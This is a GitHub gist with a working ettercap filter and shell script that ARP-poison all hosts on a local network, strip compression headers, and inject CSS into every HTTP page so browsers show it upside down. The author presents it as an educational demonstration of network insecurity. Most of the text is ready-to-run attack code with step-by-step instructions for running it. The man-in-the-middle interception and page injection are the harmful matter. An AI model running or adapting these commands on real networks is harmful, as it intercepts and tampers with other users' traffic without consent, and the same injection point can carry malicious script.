Skip to content

Instantly share code, notes, and snippets.

@0x736E
Last active November 26, 2016 02:23
Show Gist options
  • Save 0x736E/5292296 to your computer and use it in GitHub Desktop.
Save 0x736E/5292296 to your computer and use it in GitHub Desktop.
Rotate the Internet using Ettercap and CSS3 Transforms.

Rotate the Internet using Ettercap and CSS3.

Using this technique, Ettercap will poison the ARP table so that it will become a man-in-the-middle for all traffic on the network. It then uses the rotate.filter ettercap filter (which etterfilter compiles in rotate.sh) to inject some CSS3 into every HTML document so that it's rotated 180 degrees.

Now the internet is upside down!

This information is presented here to illustrate the insecurity and oftentimes fragility of network communications and the need to be careful about your security policies.

###This information is presented for educational purposes only.

  1. Create or copy rotate.filter and rotate.sh

  2. Connect to a network either by Wireless or by Ethernet

  3. Modify the rotate.sh script so that -i wlan0 reflects which network interface you want to use (e.g. eth0, wlan1, ath0 etc). Read the ettercap manual for more information with 'man ettercap'

  4. make the rotate script executable with chmod +x rotate.sh

  5. execute it with ./rotate.sh

It should detect any hosts on the network and automatically add new ones to the target list. When a device on the network connects to a website it should now go through your computer using Ettercap and with the filter rotate.ef it should inject CSS3 style information that will rotate the browser.

if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding","Accept-Nothing!");
}
}
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "<head>")) {
replace("<head>", "<head><style>body{-webkit-transform:rotate(-180deg) !important;-ms-transform:rotate(-180deg) !important;-moz-transform:rotate(-180deg) !important;}</style>");
}
}
#!/bin/bash
# compile the ettercap filter
etterfilter rotate.filter -o rotate.ef
# run ettercap with our filter and the autoadd plugin
ettercap -T -q -i wlan0 -M arp:remote -P autoadd -F rotate.ef // //
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment